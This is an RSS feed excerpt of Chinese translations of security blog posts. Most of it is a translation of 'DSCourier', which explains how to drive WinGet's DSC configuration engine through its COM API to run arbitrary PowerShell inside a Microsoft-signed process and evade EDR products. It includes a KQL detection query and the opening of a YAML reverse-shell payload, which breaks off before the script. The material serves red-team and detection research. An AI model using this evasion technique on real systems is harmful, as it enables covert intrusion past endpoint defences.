normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是我初次尝试为 BOF 执行提供可重复的原子测试单元。目标是提供一种在 C2 框架之外运行 BOF 的简便方式，同时保持完整功能。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">检测工程师可以将&#34;原版 BOF&#34;作为基准运行，收集遥测数据以构建检测规则；随后融入规避技术来模拟高级威胁，以验证并改进这些检测规则。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当然，我并不是蓝队成员，所以这一切也许都是白费功夫 😄</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://rastamouse.me/atomic-bofs/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a34eaddc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495867%26idx%3D1%26sn%3D7817f173f8d88c5fda5d2cd3d7528811">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 29 Apr 2026 17:48:00 +0800</pubDate>
    </item>
    <item>
      <title>DSCourier：通过 WinGet COM API 武器化 DSC 实现 EDR 规避执行</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495867&amp;idx=2&amp;sn=7232ff3bb7c27e74caf8f6a057163977</link>
      <description>通过 WinGet 的 WinRT COM API 直接调用 DSC 配置引擎，绕过 winget.exe 进程，在 Microsoft 签名进程内实现任意代码执行，并成功规避 CrowdStrike Falcon、MDE 及 Elastic Security EDR 的检测。</description>
      <content:encoded><![CDATA[<p><span>Dylan Davis</span> <span>2026-04-29 17:48</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0b0e882f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShoicCBhPyMMH9eOYCU1aia1dUQH8796lvEibsiaWeOCv03opgtCW9oPicr9hc89mtlQAmpQ6f0n0vXqaIxiaMcesgBIly4CzKRebEDs%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>通过 WinGet 的 WinRT COM API 直接调用 DSC 配置引擎，绕过 winget.exe 进程，在 Microsoft 签名进程内实现任意代码执行，并成功规避 CrowdStrike Falcon、MDE 及 Elastic Security EDR 的检测。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://dylansec.com/DSCourier/" target="_blank">https://dylansec.com/DSCourier/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Dylan Davis &amp; Matthew Schramm</span></p></td></tr></tbody></table><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">将 Windows 包管理器 (WinGet) 作为离地攻击二进制文件加以滥用并非新鲜概念。早期研究，例如 Zero Salarium 于 2024 年 12 月发布的研究，已证明 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">可借助其 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">configure</span></code><span leaf="">子命令充当 PowerShell 执行的代理。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文在此基础上更进一步。我们绕过对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">的直接调用，改为通过 </span><strong><span leaf="">COM API</span></strong><span leaf="">直接调用 WinGet 配置引擎，从而将 CLI 进程彻底从执行链中剥离。最终效果是在一个经 Microsoft 签名的进程内实现任意代码执行，且进程树中不包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">powershell.exe</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmd.exe</span></code><span leaf="">。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WinGet 是什么？</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WinGet 是微软为 Windows 提供的官方包管理器。类似于 Debian 上的 apt 或 macOS 上的 brew，它允许用户直接在终端中搜索、安装、更新和卸载软件，无需手动浏览下载页面或启动 GUI 安装程序。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WinGet 之所以值得关注，在于其广泛的可用性。它原生内置于 Windows 10、Windows 11 及 Windows Server 2025 的现代版本中，因此成为 离地攻击滥用的潜在对象。许多管理员将其用于软件安装，但 WinGet 还提供了一个 </span><strong><span leaf="">configure</span></strong><span leaf="">子命令，能够从 YAML 文件应用机器配置 (包括执行 PowerShell)。正是这一功能，让事情变得颇为有趣。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WinGet 作为 PowerShell 执行代理</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WinGet 的 configure 命令接受用于定义 DSC 资源的 YAML 文件。在所有可用资源中，</span><strong><span leaf="">PSDscResources/Script</span></strong><span leaf="">支持任意 PowerShell 代码执行。此时 PowerShell 并不通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">powershell.exe</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pwsh.exe</span></code><span leaf="">执行，而是通过 </span><strong><span leaf="">ConfigurationRemotingServer.exe</span></strong><span leaf="">执行——后者是 WinGet 包目录下经 Microsoft 签名的二进制文件。仅凭这一特性，WinGet 便可充当 PowerShell 执行的代理，从而有可能绕过针对传统 PowerShell 宿主进程的监控。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">直接使用 winget.exe 的局限性</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虽然 WinGet 能够通过受信任的进程执行 PowerShell，但从进攻角度来看，直接使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget configure</span></code><span leaf="">存在几处明显不足。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">进程创建日志暴露入口点：</span></strong><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">会出现在进程创建日志中，记录其完整命令行，包括 YAML 配置文件的路径。无论配置来自远程 URL 还是本地磁盘，完整路径或 URL 均会被记录在命令行参数中 (如下方 process.command_line 所示)。防御者只需编写一条简单的 KQL 查询，即可检索所有 WinGet configure 执行记录，并立即确认应用了哪些内容及其来源：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">process.name: </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;winget.exe&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">and</span></span><span leaf=""> process.command_line: (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">configure</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">or</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">configuration</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">or</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">dsc</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">)</span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3490740740740741" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100012197" src="https://wechat2rss.xlab.app/img-proxy/?k=87c741c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiatrPADMVMqBMqUZSQuqFNRqmEEZHDQmr0aY07iaFiaR459lb3fv6GeT0J4ULro42eMQBAKrL3iaiaMCiaraKgHlpws6tZjQRXwqhTk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">EDR log showing winget.exe process creation with full command line visible</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">父子进程关系提供取证上下文：</span></strong><span leaf="">当从 shell 调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget configure</span></code><span leaf="">时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmd.exe</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">powershell.exe</span></code><span leaf="">会以父进程身份出现在进程树中，位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">之上。这一情况本身可能是合法的——例如系统管理员手动执行配置——但它为防御者提供了完整的调查链：他们可以看到命令由谁发起、来自哪个终端会话、以及引用了哪个 YAML 文件。这里的重点并非进程链本身具有恶意性，而在于它完全可观察，并可追溯回源头。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此，尽管 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationRemotingServer.exe</span></code><span leaf="">内部的下游执行存在检测盲区，通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">的启动路径对于任何部署了基本进程监控的组织而言仍是完全透明可见的。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">构建 YAML 载荷</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在讨论如何消除 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">之前，有必要先了解一个武器化 YAML 配置文件的结构。WinGet DSC 配置遵循 DSC v0.2 架构，支持包含多个按顺序执行的资源。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下是一个极度简化的配置文件示例，用于建立反向 shell。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(111, 66, 193);"><span leaf="">properties</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">configurationVersion</span></span><span leaf="">: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0.2.0</span></span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">resources</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">resource</span></span><span leaf="">: </span><span style="color: rgb(0, 92, 197);"><span leaf="">PSDscResources</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">/</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Script</span></span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">id</span></span><span leaf="">: </span><span style="color: rgb(0, 92, 197);"><span leaf="">env</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">health</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">check</span></span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">directives</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">description</span></span><span leaf="">: </span><span style="color: rgb(0, 92, 197);"><span leaf="">Simple</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Reverse</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Shell</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">Example</span></span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">allowPrerelease</span></span><span leaf="">: </span><span style="color: rgb(0, 92, 197);"><span leaf="">true</span></span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">settings</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">GetScript</span></span><span leaf="">: </span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""><br/></span><span style="color: 